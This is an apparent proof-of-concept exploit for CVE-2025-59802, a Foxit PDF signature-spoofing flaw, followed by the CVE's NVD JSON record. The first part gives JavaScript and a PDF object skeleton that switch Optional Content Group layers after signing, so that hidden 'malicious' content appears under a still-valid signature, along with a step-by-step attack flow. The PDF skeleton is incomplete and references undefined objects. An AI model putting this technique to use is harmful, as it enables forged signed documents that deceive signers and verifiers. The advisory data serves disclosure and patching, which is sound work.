CVE-2025-59802

/// Foxit PDF OCG Signature Spoofing PoC /// This PoC demonstrates how OCG visibility can be manipulated after signing // JavaScript code to be embedded in the malicious PDF var maliciousJS = ` // Wait for document to be fully loaded if (this.external) { // For Adobe Reader compatibility mode app.alert("Document requires JavaScript"); } // Get all Optional Content Groups var ocgArray = this.getOCGs(); if (ocgArray && ocgArray.length > 0) { // Hide the OCG containing signed content (simulating pre-signing state) // In attack scenario, this content is hidden during signing ocgArray[0].state = false; // Hide signed content // Show malicious content that was hidden during signing if (ocgArray.length > 1) { ocgArray[1].state = true; // Show malicious content } } // Alternatively, use document events to trigger manipulation this.setAction("WillPrint", "app.alert('Printing modified document');"); `; // PDF structure for OCG-based attack var pdfStructure = ` %PDF-1.7 %OCG-based Signature Spoofing Structure 3 0 obj << /Type /Catalog /Pages 2 0 R /OCProperties << /OCGs [4 0 R 5 0 R] /D << /Name (Default) /ON [4 0 R] /OFF [5 0 R] /Locked [4 0 R] >> >> >> endobj 4 0 obj << /Type /OCG /Name (Original Content) /Usage << /Print /PrintOK /View /ViewOK >> >> endobj 5 0 obj << /Type /OCG /Name (Hidden Malicious Content) /Usage << /Print /PrintOK /View /ViewOK >> >> endobj % JavaScript action to be triggered 6 0 obj << /S /JavaScript /JS ${maliciousJS} >> endobj `; console.log("OCG Signature Spoofing PoC Generated"); console.log("Attack Flow:"); console.log("1. Attacker creates PDF with OCG containing two states"); console.log("2. Original content in ON state, malicious content in OFF state"); console.log("3. Victim signs the document (only ON state content is signed)"); console.log("4. After signing, JavaScript switches states"); console.log("5. Signature remains valid but displayed content is modified");

{"cve": {"id": "CVE-2025-59802", "sourceIdentifier": "[email protected]", "published": "2025-12-11T16:16:26.807", "lastModified": "2025-12-18T21:31:21.487", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Foxit PDF Editor and Reader before 2025.2.1 allow signature spoofing via OCG. When Optional Content Groups (OCG) are supported, the state property of an OCG is runtime-only and not included in the digital signature computation buffer. An attacker can leverage JavaScript or PDF triggers to dynamically change the visibility of OCG content after signing (Post-Sign), allowing the visual content of a signed PDF to be modified without invalidating the signature. This may result in a mismatch between the signed content and what the signer or verifier sees, undermining the trustworthiness of the digital signature. The fixed versions are 2025.2.1, 14.0.1, and 13.2.1."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-290"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionEndIncluding": "13.2.0.63256", "matchCriteriaId": "98F66B0B-2720-49C7-8FEF-42F039A47893"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "2023.1.0.55583", "versionEndIncluding": "2023.3.0.63083", "matchCriteriaId": "D8785CCE-C44C-4908-9133-13A580D5BECB"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "2024.1.0.63682", "versionEndIncluding": "2024.4.1.66479", "matchCriteriaId": "CF043D20-0E28-481C-8756-D1301FAE67D2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:14.0.0.68868:*:*:*:*:*:*:*", "matchCriteriaId": "BEC6BB18-E885-4970-A74F-AE84FF80C9B7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:2025.1.0.66692:*:*:*:*:*:*:*", "matchCriteriaId": "E0FF839F-37E7-4AFA-85B1-FC98366B14E8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:2025.2.0.68868:*:*:*:*:*:*:*", "matchCriteriaId": "8869E158-A89B-4850-B7CD-A87A37EDFFB6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_reader:*:*:*:*:*:*:*:*", "versionEndIncluding": "2025.2.0.68868", "matchCriteriaId": "E5DC4E55-7875-4716-9520-0A7393516AF1"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionEndIncluding": "13.2.0.23874", "matchCriteriaId": "CDAE2F8C-A99D-418B-84D8-AC1D9CC77411"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "2023.1.0.15510", "versionEndIncluding": "2023.3.0.23028", "matchCriteriaId": "0C75FEE6-54F3-49C6-BAEA-A09D23BE5D64"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "2024.1.0.23997", "versionEndIncluding": "2024.4.1.27687", "matchCriteriaId": "2C06BC41-9831-4AE3-B10B-3FC313D01580"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:14.0.0.33046:*:*:*:*:*:*:*", "matchCriteriaId": "31590014-7822-4C3F-8A12-15E6D87CB689"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:2025.1.0.27937:*:*:*:*:*:*:*", "matchCriteriaId": "9FDC914F-B999-4233-8BEA-CA20B1F0D9D3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:2025.2.0.33046:*:*:*:*:*:*:*", "matchCriteriaId": "BFFEC0E6-522C-4680-9A24-AD6FB023014C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_reader:*:*:*:*:*:*:*:*", "versionEndIncluding": "2025.2.0.33046", "matchCriteriaId": "DB84418F-2B66-4F22-8300-A893A3D0FA83"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://www.foxit.com/support/security-bulletins.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}